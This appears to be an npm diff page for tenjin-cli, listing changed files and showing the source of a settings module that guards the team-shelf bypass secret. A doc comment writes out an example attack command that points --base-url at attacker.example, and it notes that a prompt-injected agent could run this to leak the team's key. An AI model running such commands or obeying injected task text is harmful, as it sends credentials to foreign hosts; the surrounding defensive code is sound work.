tenjin-cli 0.1.0-alpha.30 → 0.1.0-alpha.31

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Files changed (172) hide show
  1. package/README.md +65 -116
  2. package/dist/{_esm-CE7KNONL.js → _esm-MEXZI5DL.js} +4 -4
  3. package/dist/{alive-3J3CHOQP.js → alive-J64H46HI.js} +14 -4
  4. package/dist/{chunk-O2FRQ2L2.js → chunk-27EPWVOY.js} +4 -64
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  78. package/dist/clack-EZ7TDWQU.js +19 -0
  79. package/dist/claude-cli-2YKABJJZ.js +31 -0
  80. package/dist/{cli-O5SN7ZJ4.js → cli-D5OE3URZ.js} +128 -56
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  82. package/dist/codex-event-PPNVRRDH.js +16 -0
  83. package/dist/codex-host-2RJOJW2B.js +28 -0
  84. package/dist/codex-install-UUZ6QMBQ.js +221 -0
  85. package/dist/codex-install-UUZ6QMBQ.js.map +1 -0
  86. package/dist/{config-OJQI27LT.js → config-ZD4OB2DO.js} +18 -12
  87. package/dist/{doctor-IQQJHGGM.js → doctor-KBR34Q4B.js} +48 -37
  88. package/dist/doctor-KBR34Q4B.js.map +1 -0
  89. package/dist/{fund-WEV6DMTD.js → fund-5ITKQGYF.js} +38 -31
  90. package/dist/{fund-WEV6DMTD.js.map → fund-5ITKQGYF.js.map} +1 -1
  91. package/dist/hook-command-4TYCHHRL.js +39 -0
  92. package/dist/hosts/claude/.claude-plugin/marketplace.json +2 -2
  93. package/dist/hosts/claude/tenjin/.claude-plugin/plugin.json +3 -2
  94. package/dist/hosts/claude/tenjin/hooks/hooks.json +4 -1
  95. package/dist/hosts/claude/tenjin/hooks/register.tsx +589 -0
  96. package/dist/hosts/claude/tenjin/types/index.d.ts +41 -0
  97. package/dist/hosts/codex/.agents/plugins/marketplace.json +20 -0
  98. package/dist/hosts/codex/tenjin/.codex-plugin/plugin.json +16 -0
  99. package/dist/hosts/codex/tenjin/.mcp.json +12 -0
  100. package/dist/hosts/codex/tenjin/hooks/hooks.json +52 -0
  101. package/dist/hosts-FWZOV26H.js +216 -0
  102. package/dist/hosts-FWZOV26H.js.map +1 -0
  103. package/dist/index.js +5 -5
  104. package/dist/{install-TUCRF32I.js → install-XWGE4Q7L.js} +38 -21
  105. package/dist/{install-identity-WHPNMNMQ.js → install-identity-K7EJIQFP.js} +11 -7
  106. package/dist/{install-wallet-MA27FTQ5.js → install-wallet-XQ6XFZV4.js} +27 -23
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  112. package/dist/{payments-C44QUFXU.js → payments-KVICEKD2.js} +14 -10
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  114. package/dist/plugin-registration-5TIA564H.js +54 -0
  115. package/dist/plugin-registration-5TIA564H.js.map +1 -0
  116. package/dist/{send-KVJX4XIR.js → send-7G7Y7DLN.js} +25 -19
  117. package/dist/{send-KVJX4XIR.js.map → send-7G7Y7DLN.js.map} +1 -1
  118. package/dist/{status-S7C3WMSH.js → status-OF7RH5HM.js} +26 -21
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  123. package/dist/{uninstall-HY6LKIIT.js.map → uninstall-JXUAFNDB.js.map} +1 -1
  124. package/dist/update-ZKUERSO2.js +44 -0
  125. package/dist/update-ZKUERSO2.js.map +1 -0
  126. package/dist/{usdc-JK4RRFFQ.js → usdc-OGOGEHV2.js} +7 -6
  127. package/dist/usdc-OGOGEHV2.js.map +1 -0
  128. package/dist/{viemAdapter-By13KInL-X2VY6CY3.js → viemAdapter-By13KInL-S3DA7DFW.js} +2 -2
  129. package/dist/viemAdapter-By13KInL-S3DA7DFW.js.map +1 -0
  130. package/dist/{wallet-PD2IMZDU.js → wallet-2HA6W4R4.js} +24 -20
  131. package/dist/wallet-2HA6W4R4.js.map +1 -0
  132. package/docs/agent-permissions.md +21 -5
  133. package/package.json +1 -1
  134. package/dist/chunk-3O2BQIF6.js.map +0 -1
  135. package/dist/chunk-6W5GYG3W.js.map +0 -1
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  142. package/dist/chunk-WO5BJNIB.js.map +0 -1
  143. package/dist/doctor-IQQJHGGM.js.map +0 -1
  144. package/dist/hook-command-D2P3ILRV.js +0 -32
  145. package/dist/mcp-QML7ZMPH.js.map +0 -1
  146. package/dist/update-OJV22LR3.js +0 -36
  147. /package/dist/{_esm-CE7KNONL.js.map → _esm-MEXZI5DL.js.map} +0 -0
  148. /package/dist/{alive-3J3CHOQP.js.map → alive-J64H46HI.js.map} +0 -0
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  163. /package/dist/{config-OJQI27LT.js.map → clack-EZ7TDWQU.js.map} +0 -0
  164. /package/dist/{hook-command-D2P3ILRV.js.map → claude-cli-2YKABJJZ.js.map} +0 -0
  165. /package/dist/{install-TUCRF32I.js.map → codex-event-PPNVRRDH.js.map} +0 -0
  166. /package/dist/{install-identity-WHPNMNMQ.js.map → codex-host-2RJOJW2B.js.map} +0 -0
  167. /package/dist/{package-LGKYOEPV.js.map → config-ZD4OB2DO.js.map} +0 -0
  168. /package/dist/{pay-2C2UBBXJ.js.map → hook-command-4TYCHHRL.js.map} +0 -0
  169. /package/dist/{update-OJV22LR3.js.map → install-XWGE4Q7L.js.map} +0 -0
  170. /package/dist/{usdc-JK4RRFFQ.js.map → install-identity-K7EJIQFP.js.map} +0 -0
  171. /package/dist/{viemAdapter-By13KInL-X2VY6CY3.js.map → package-ZKQFDWLE.js.map} +0 -0
  172. /package/dist/{wallet-PD2IMZDU.js.map → pay-WHBERZ3W.js.map} +0 -0
@@ -1,16 +1,22 @@
1
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  import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
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+ import {
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+ parseUsdToAtomic
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+ } from "./chunk-Y527D4TV.js";
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  import {
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  CONFIG_DEFAULTS,
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- CliError,
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- PRODUCTION_ORIGIN,
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  PublishModeSchema,
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  SEND_MAX_UNSET,
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  external_exports,
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- isSameDeployment,
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  loadRawConfig,
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- parseUsdToAtomic,
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  resolveSettings
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- } from "./chunk-WO5BJNIB.js";
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+ } from "./chunk-YVFXE7RR.js";
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+ import {
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+ PRODUCTION_ORIGIN,
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+ isSameDeployment
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+ } from "./chunk-XQJXNMSB.js";
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+ import {
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+ CliError
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+ } from "./chunk-3UCIG4TG.js";
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  // src/lib/settings.ts
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  import { execFile } from "node:child_process";
@@ -235,4 +241,4 @@ export {
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  ownedCandidates,
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  projectRoot
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  };
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- //# sourceMappingURL=chunk-AWFUPKTM.js.map
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+ //# sourceMappingURL=chunk-7WU4OPLP.js.map
@@ -1 +1 @@
1
- {"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /** `experimental.bazaar`: whether the router may also offer the open Bazaar's\n * unreviewed sellers. Tenjin's reviewed list is always requested; only\n * `router.enabled false` stops every offer. */\n experimentalBazaar: boolean;\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.sh, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.sh, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.sh read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.blog) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.sh as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n experimentalBazaar: s.experimentalBazaar.value === 'on',\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n 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Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the 